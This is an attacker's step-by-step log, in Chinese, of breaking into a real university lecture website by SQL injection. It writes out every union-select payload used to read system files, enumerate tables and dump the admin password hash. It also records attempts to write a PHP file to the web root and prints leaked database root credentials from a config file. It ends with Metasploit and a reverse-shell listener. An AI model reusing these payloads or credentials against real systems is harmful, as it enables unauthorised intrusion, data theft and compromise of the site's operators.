http://lecture.pku.edu.cn/
Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8l PHP/5.3.1
124.205.79.236
注入:
http://lecture.pku.edu.cn/viewnotify.php?id=3443
http://lecture.pku.edu.cn/viewnotify.php?id=3443 order by 19
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
1.png
19个字节
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,concat(database(),0x20,version(),0x20,user()),concat(@@hostname,0x20,@@datadir),11,12,13,14,15,16,17,18,19
爆出东西
讲座主标题: pku_mydata 5.0.88-log [email protected]
讲座副标题: database.metc /Volumes/lectureSANroot/mysql_root/
是ROOT 看看能不能读文件
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,load_file(0x2F6563742F706173737764),10,11,12,13,14,15,16,17,18,19
4.png
OK可以。。
试试写文件
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,0x6C756F6D20746573742121,11,12,13,14,15,16,17,18,19 into outfile '/tmp/luom.txt'
5.png
不行 。。。
走后台
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17,18,19 from information_schema.schemata--
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17,18,19 from information_schema.tables where table_schema=database()--
有个 pku_admin
看看有什么
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17,18,19 from information_schema.columns where table_name=0x706B755F61646D696E--
7.png
你懂得
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,concat(name,0x20,password),10,11,12,13,14,15,16,17,18,19 from pku_admin
admin 45192ce0457e57822610fbb0388405d5
没借出来 。。。
找找 路径看能不能into outfile
warning site:lecture.pku.edu.cn
GOOGLE 半天也没找到 用WWWSCAN
9.png
还是没什么有用的
后台:http://lecture.pku.edu.cn/user/login.php
猜目录、、、
过了 30多分钟
/Volumes/lectureSANroot/wwwroot/index.php
10.png
确定目录
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,test,11,12,13,14,15,16,17,18,19 into outfile '/Volumes/lectureSANroot/wwwroot/inc/test.php'
12.png
还是写不进
读配置文件 连接MYSQL试试
http://lecture.pku.edu.cn/viewnotify.php?id=3443 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,load_file(0x2F566F6C756D65732F6C65637475726553414E726F6F742F777777726F6F742F696E632F636F6E6669672E706870),11,12,13,14,15,16,17,18,19
$web_datahost="database.metc";
$web_podcast="http://podcast.pku.edu.cn:8171/podcastproducer/attachments";
$web_database="pku_mydata";
$web_datauser="root";
$web_datapassword="podcast-loxp"
外联不上。。
出错、、
没想法了。。。
试试BT
armiyage+msf
14.png
扫了一些东西出来 但是很鸡肋
试一试
由于BT5在内网中反弹不回来就在本机监听
还在监听中。。。。。。。